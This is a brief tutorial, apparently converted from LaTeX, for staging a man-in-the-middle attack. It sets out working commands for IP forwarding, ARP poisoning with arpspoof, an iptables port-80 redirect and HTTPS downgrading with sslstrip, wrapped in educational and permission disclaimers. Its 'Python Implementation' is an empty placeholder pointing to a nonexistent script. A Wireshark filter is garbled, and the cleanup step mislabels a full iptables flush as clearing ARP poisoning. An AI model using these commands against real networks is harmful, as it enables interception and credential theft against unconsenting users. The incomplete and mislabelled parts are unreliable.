MITM Attack Simulation Guide

Educational Purposes Only

Contents

1 Introduction

This guide demonstrates the steps for setting up a Man-in-the-Middle (MITM) attack for ethical hacking and educational purposes only. Use this knowledge responsibly.

2 Prerequisites

- A Linux system with root privileges.
- Tools: `arpspoof`, `sslstrip`, `Wireshark`.
- A controlled environment with explicit permission.

3 Steps for MITM Attack

3.1 Enable IP Forwarding

Forward traffic through your machine.

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

Listing 1: Enable IP Forwarding

3.2 ARP Poisoning

Redirect traffic between the victim and the gateway.

```
# Poison Victim's ARP Cache
arpspoof -i <interface> -t <victim_ip> <gateway_ip>

# Poison Gateway's ARP Cache
arpspoof -i <interface> -t <gateway_ip> <victim_ip>
```

Listing 2: ARP Poisoning

3.3 Redirect Traffic to SSL Strip

Intercept HTTP traffic.

```
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
    REDIRECT --to-port 8080
```

Listing 3: Redirect Traffic

3.4 Start SSL Strip

Downgrade HTTPS to HTTP.

```
sslstrip -l 8080
```

Listing 4: SSL Strip

3.5 Capture Traffic with Wireshark

- Open Wireshark.
- Select the network interface.

- Use filters like `http` or `ip.addr == <victim`$_ip >$.

4 Python Implementation

Full Code:

```
<Insert the Python script above>
```

Listing 5: Python Implementation for MITM Setup

5 Cleanup

Restore the network to its original state.

```
# Disable IP Forwarding
echo 0 > /proc/sys/net/ipv4/ip_forward

# Clear ARP Poisoning Rules
iptables -F
iptables -t nat -F
```

Listing 6: Cleanup Commands

6 Ethical Considerations

- Perform these actions only in a controlled environment.
- Obtain explicit permission before testing any network.
- Misuse of these techniques is illegal and unethical.